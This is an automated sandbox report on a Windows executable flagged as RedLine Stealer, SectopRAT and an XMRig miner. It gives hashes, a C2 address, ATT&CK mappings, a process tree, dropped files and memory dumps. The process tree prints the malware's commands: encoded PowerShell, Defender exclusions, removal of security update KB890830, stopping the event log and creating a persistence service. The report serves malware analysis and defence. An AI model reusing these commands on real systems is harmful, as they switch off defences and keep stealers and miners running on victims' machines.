Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-04-2024 10:31

General

  • Target

    6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe

  • Size

    2.6MB

  • MD5

    55e393da1714013720ddf266c7906f43

  • SHA1

    91a636913604184c010c2d9e0b331a804a2c0ab4

  • SHA256

    6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957

  • SHA512

    40a61e1d461717e45eff3be6b22561ac39c2ef1af39b46f7d149fe823d14a06bb99605a78e794d6447ece43ce6b4854192e47ad993ed4a2e78479bc7e155fe8a

  • SSDEEP

    49152:VvONaX/Lpt/IvKfeF4tIDpdIA/gvCRtDKYZ8NfBcPQSqzULJgxl6Y4KB7KkP3C+Y:VGNajwvKfpyMdvCRNZZ8NJcPQSEU9Q6z

Malware Config

Extracted

Family

redline

Botnet

tg

C2

163.5.112.53:51523

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 13 IoCs
  • Creates new service(s) 1 TTPs
  • Stops running service(s) 3 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 18 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe
    "C:\Users\Admin\AppData\Local\Temp\6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4984
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdABpACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGsAcABhACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGkAcwAgAGMAbwBtAHAAdQB0AGUAcgAgAGkAcwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQALAAgAHAAbABlAGEAcwBlACAAdAByAHkAIABhAGcAYQBpAG4AIABvAG4AIABhAG4AbwB0AGgAZQByACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwB5AGMAYQAjAD4A"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2420
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAbABmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAagBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAYwBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAcAB5ACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1948
    • C:\Users\Admin\AppData\Roaming\a.exe
      "C:\Users\Admin\AppData\Roaming\a.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      PID:4924
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4468
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5012
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
            PID:5096
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe delete "TDFIYZSJ"
          3⤵
          • Launches sc.exe
          PID:3976
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe create "TDFIYZSJ" binpath= "C:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exe" start= "auto"
          3⤵
          • Launches sc.exe
          PID:4384
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop eventlog
          3⤵
          • Launches sc.exe
          PID:3868
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe start "TDFIYZSJ"
          3⤵
          • Launches sc.exe
          PID:2732
      • C:\Users\Admin\AppData\Roaming\b.exe
        "C:\Users\Admin\AppData\Roaming\b.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4856
    • C:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exe
      C:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4828
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1492
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2332
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:4708
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:3484
          • C:\Windows\system32\conhost.exe
            conhost.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4500

        Network

        MITRE ATT&CK Matrix ATT&CK v13

        Persistence

        Create or Modify System Process

        2
        T1543

        Windows Service

        2
        T1543.003

        Privilege Escalation

        Create or Modify System Process

        2
        T1543

        Windows Service

        2
        T1543.003

        Defense Evasion

        Impair Defenses

        1
        T1562

        Credential Access

        Unsecured Credentials

        2
        T1552

        Credentials In Files

        2
        T1552.001

        Discovery

        Query Registry

        2
        T1012

        System Information Discovery

        2
        T1082

        Collection

        Data from Local System

        2
        T1005

        Impact

        Service Stop

        1
        T1489

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          Filesize

          2KB

          MD5

          968cb9309758126772781b83adb8a28f

          SHA1

          8da30e71accf186b2ba11da1797cf67f8f78b47c

          SHA256

          92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

          SHA512

          4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          17KB

          MD5

          80d0f72c8ae4d9042eae908b76adf8e1

          SHA1

          21da7a4e7621a117a4c775773ef56e0bad05a8ea

          SHA256

          149302684e1710032e369287b6e699a8511744fb31d9f7ed378b308b826b88bf

          SHA512

          da427a895a519d6a687ef282c2fe59a18f75dc58a6ba6d53bef1701c92821fc975d997722c71052d0d51610f9b46dafaefaac2fd9e6e93d76ecc0aa86537bf30

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wtd4f4u5.fsk.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\tmp61FA.tmp
          Filesize

          46KB

          MD5

          02d2c46697e3714e49f46b680b9a6b83

          SHA1

          84f98b56d49f01e9b6b76a4e21accf64fd319140

          SHA256

          522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

          SHA512

          60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

        • C:\Users\Admin\AppData\Local\Temp\tmp6210.tmp
          Filesize

          92KB

          MD5

          17a7df30f13c3da857d658cacd4d32b5

          SHA1

          a7263013b088e677410d35f4cc4df02514cb898c

          SHA256

          c44cbdf2dbfb3ea10d471fa39c9b63e6e2fc00f1add109d51419b208a426f4d0

          SHA512

          ea96cc3e2a44d2adeca4ecb4b8875a808ef041a6a5b4ae77b6bfd1600dd31f449b51b1a5997064c43e5111861ac4e3bc40a55db6a39d6323c0b00ff26d113b72

        • C:\Users\Admin\AppData\Local\Temp\tmp623B.tmp
          Filesize

          48KB

          MD5

          349e6eb110e34a08924d92f6b334801d

          SHA1

          bdfb289daff51890cc71697b6322aa4b35ec9169

          SHA256

          c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a

          SHA512

          2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

        • C:\Users\Admin\AppData\Local\Temp\tmp6251.tmp
          Filesize

          20KB

          MD5

          49693267e0adbcd119f9f5e02adf3a80

          SHA1

          3ba3d7f89b8ad195ca82c92737e960e1f2b349df

          SHA256

          d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

          SHA512

          b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

        • C:\Users\Admin\AppData\Local\Temp\tmp6257.tmp
          Filesize

          116KB

          MD5

          f70aa3fa04f0536280f872ad17973c3d

          SHA1

          50a7b889329a92de1b272d0ecf5fce87395d3123

          SHA256

          8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

          SHA512

          30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

        • C:\Users\Admin\AppData\Local\Temp\tmp6272.tmp
          Filesize

          96KB

          MD5

          d367ddfda80fdcf578726bc3b0bc3e3c

          SHA1

          23fcd5e4e0e5e296bee7e5224a8404ecd92cf671

          SHA256

          0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0

          SHA512

          40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77

        • C:\Users\Admin\AppData\Roaming\a.exe
          Filesize

          2.5MB

          MD5

          6fd62e635b39a02ba8cac6fc124c9475

          SHA1

          e13080b9cc546e44a9f1c419ba86aeb190a14b2d

          SHA256

          78b9d7e485026278b02a1961999ad99cdfa988fbf4403767db5d10d1473e9870

          SHA512

          e77432582e6abcc0fd86ed997c9c4619bd67a044d33a752e1cf3ceb8008cea27c540949183b80f9dee8a41614cff54afe79c5db294efcb72b27685fcf1010cdc

        • C:\Users\Admin\AppData\Roaming\b.exe
          Filesize

          95KB

          MD5

          184ac479b3a878e9ac5535770ca34a2b

          SHA1

          1f99039911cc2cfd1a62ce348429ddd0f4435a60

          SHA256

          8e28a0090832a76cf71c417cb1bf7990b9af86be258b732117a47f624387083c

          SHA512

          e0f5185ae890b902ea5325066df23959106712e7990e120a1b9752bbd0331cac968af5ddd6092f75a1c576d4c83f4093dfbf53a2c90870d1c02b31a0e8282bb4

        • memory/1492-354-0x000002EA6C570000-0x000002EA6C58A000-memory.dmp
          Filesize

          104KB

        • memory/1492-348-0x000002EA6C2E0000-0x000002EA6C2FC000-memory.dmp
          Filesize

          112KB

        • memory/1492-338-0x000002EA51890000-0x000002EA518A0000-memory.dmp
          Filesize

          64KB

        • memory/1492-333-0x00007FFF6B680000-0x00007FFF6C141000-memory.dmp
          Filesize

          10.8MB

        • memory/1492-350-0x000002EA6C300000-0x000002EA6C3B5000-memory.dmp
          Filesize

          724KB

        • memory/1492-349-0x000002EA51890000-0x000002EA518A0000-memory.dmp
          Filesize

          64KB

        • memory/1492-351-0x000002EA6C3C0000-0x000002EA6C3CA000-memory.dmp
          Filesize

          40KB

        • memory/1492-352-0x000002EA6C530000-0x000002EA6C54C000-memory.dmp
          Filesize

          112KB

        • memory/1492-353-0x000002EA6C510000-0x000002EA6C51A000-memory.dmp
          Filesize

          40KB

        • memory/1492-356-0x000002EA6C550000-0x000002EA6C556000-memory.dmp
          Filesize

          24KB

        • memory/1492-355-0x000002EA6C520000-0x000002EA6C528000-memory.dmp
          Filesize

          32KB

        • memory/1492-357-0x000002EA6C560000-0x000002EA6C56A000-memory.dmp
          Filesize

          40KB

        • memory/1492-358-0x000002EA51890000-0x000002EA518A0000-memory.dmp
          Filesize

          64KB

        • memory/1948-59-0x000000007EEB0000-0x000000007EEC0000-memory.dmp
          Filesize

          64KB

        • memory/1948-19-0x0000000073170000-0x0000000073920000-memory.dmp
          Filesize

          7.7MB

        • memory/1948-58-0x0000000006BB0000-0x0000000006BE2000-memory.dmp
          Filesize

          200KB

        • memory/1948-61-0x00000000746E0000-0x000000007472C000-memory.dmp
          Filesize

          304KB

        • memory/1948-24-0x0000000000A70000-0x0000000000A80000-memory.dmp
          Filesize

          64KB

        • memory/1948-73-0x0000000000A70000-0x0000000000A80000-memory.dmp
          Filesize

          64KB

        • memory/1948-72-0x0000000006B90000-0x0000000006BAE000-memory.dmp
          Filesize

          120KB

        • memory/1948-74-0x0000000006E00000-0x0000000006EA3000-memory.dmp
          Filesize

          652KB

        • memory/1948-22-0x0000000000A70000-0x0000000000A80000-memory.dmp
          Filesize

          64KB

        • memory/1948-33-0x00000000055E0000-0x0000000005646000-memory.dmp
          Filesize

          408KB

        • memory/1948-77-0x0000000006FC0000-0x0000000006FCA000-memory.dmp
          Filesize

          40KB

        • memory/1948-78-0x00000000071E0000-0x0000000007276000-memory.dmp
          Filesize

          600KB

        • memory/1948-79-0x0000000007150000-0x0000000007161000-memory.dmp
          Filesize

          68KB

        • memory/1948-80-0x0000000007190000-0x000000000719E000-memory.dmp
          Filesize

          56KB

        • memory/1948-81-0x00000000071A0000-0x00000000071B4000-memory.dmp
          Filesize

          80KB

        • memory/1948-82-0x0000000007280000-0x000000000729A000-memory.dmp
          Filesize

          104KB

        • memory/1948-83-0x00000000071D0000-0x00000000071D8000-memory.dmp
          Filesize

          32KB

        • memory/1948-86-0x0000000073170000-0x0000000073920000-memory.dmp
          Filesize

          7.7MB

        • memory/1948-32-0x0000000005570000-0x00000000055D6000-memory.dmp
          Filesize

          408KB

        • memory/1948-53-0x0000000005750000-0x0000000005AA4000-memory.dmp
          Filesize

          3.3MB

        • memory/2420-20-0x0000000002750000-0x0000000002786000-memory.dmp
          Filesize

          216KB

        • memory/2420-26-0x0000000002880000-0x0000000002890000-memory.dmp
          Filesize

          64KB

        • memory/2420-60-0x0000000007330000-0x00000000079AA000-memory.dmp
          Filesize

          6.5MB

        • memory/2420-25-0x0000000004FC0000-0x00000000055E8000-memory.dmp
          Filesize

          6.2MB

        • memory/2420-90-0x0000000073170000-0x0000000073920000-memory.dmp
          Filesize

          7.7MB

        • memory/2420-62-0x0000000006250000-0x000000000626A000-memory.dmp
          Filesize

          104KB

        • memory/2420-18-0x0000000073170000-0x0000000073920000-memory.dmp
          Filesize

          7.7MB

        • memory/2420-56-0x0000000005D30000-0x0000000005D4E000-memory.dmp
          Filesize

          120KB

        • memory/2420-75-0x0000000007F60000-0x0000000008504000-memory.dmp
          Filesize

          5.6MB

        • memory/2420-76-0x0000000007110000-0x00000000071A2000-memory.dmp
          Filesize

          584KB

        • memory/2420-30-0x0000000004E70000-0x0000000004E92000-memory.dmp
          Filesize

          136KB

        • memory/2420-21-0x0000000002880000-0x0000000002890000-memory.dmp
          Filesize

          64KB

        • memory/3484-365-0x0000000140000000-0x000000014000E000-memory.dmp
          Filesize

          56KB

        • memory/3484-363-0x0000000140000000-0x000000014000E000-memory.dmp
          Filesize

          56KB

        • memory/3484-362-0x0000000140000000-0x000000014000E000-memory.dmp
          Filesize

          56KB

        • memory/3484-366-0x0000000140000000-0x000000014000E000-memory.dmp
          Filesize

          56KB

        • memory/3484-368-0x0000000140000000-0x000000014000E000-memory.dmp
          Filesize

          56KB

        • memory/3484-364-0x0000000140000000-0x000000014000E000-memory.dmp
          Filesize

          56KB

        • memory/4468-323-0x00007FFF6B680000-0x00007FFF6C141000-memory.dmp
          Filesize

          10.8MB

        • memory/4468-320-0x000001EDAD830000-0x000001EDAD840000-memory.dmp
          Filesize

          64KB

        • memory/4468-306-0x000001EDAF950000-0x000001EDAF972000-memory.dmp
          Filesize

          136KB

        • memory/4468-317-0x00007FFF6B680000-0x00007FFF6C141000-memory.dmp
          Filesize

          10.8MB

        • memory/4468-318-0x000001EDAD830000-0x000001EDAD840000-memory.dmp
          Filesize

          64KB

        • memory/4500-379-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-381-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-391-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-390-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-389-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-388-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-384-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-383-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-382-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-380-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-378-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-377-0x000001C2C3200000-0x000001C2C3220000-memory.dmp
          Filesize

          128KB

        • memory/4500-370-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-371-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-376-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-375-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-373-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-372-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4500-374-0x0000000140000000-0x0000000140848000-memory.dmp
          Filesize

          8.3MB

        • memory/4856-27-0x00000000004B0000-0x00000000004CE000-memory.dmp
          Filesize

          120KB

        • memory/4856-57-0x0000000005040000-0x000000000514A000-memory.dmp
          Filesize

          1.0MB

        • memory/4856-92-0x0000000006A30000-0x0000000006F5C000-memory.dmp
          Filesize

          5.2MB

        • memory/4856-93-0x0000000006770000-0x00000000067E6000-memory.dmp
          Filesize

          472KB

        • memory/4856-31-0x00000000027E0000-0x00000000027F2000-memory.dmp
          Filesize

          72KB

        • memory/4856-94-0x0000000006A00000-0x0000000006A1E000-memory.dmp
          Filesize

          120KB

        • memory/4856-91-0x0000000006330000-0x00000000064F2000-memory.dmp
          Filesize

          1.8MB

        • memory/4856-55-0x0000000004E00000-0x0000000004E4C000-memory.dmp
          Filesize

          304KB

        • memory/4856-29-0x0000000005480000-0x0000000005A98000-memory.dmp
          Filesize

          6.1MB

        • memory/4856-39-0x0000000004DC0000-0x0000000004DFC000-memory.dmp
          Filesize

          240KB

        • memory/4856-54-0x0000000004E50000-0x0000000004E60000-memory.dmp
          Filesize

          64KB

        • memory/4856-28-0x0000000073170000-0x0000000073920000-memory.dmp
          Filesize

          7.7MB

        • memory/4856-327-0x0000000004E50000-0x0000000004E60000-memory.dmp
          Filesize

          64KB

        • memory/4856-319-0x0000000073170000-0x0000000073920000-memory.dmp
          Filesize

          7.7MB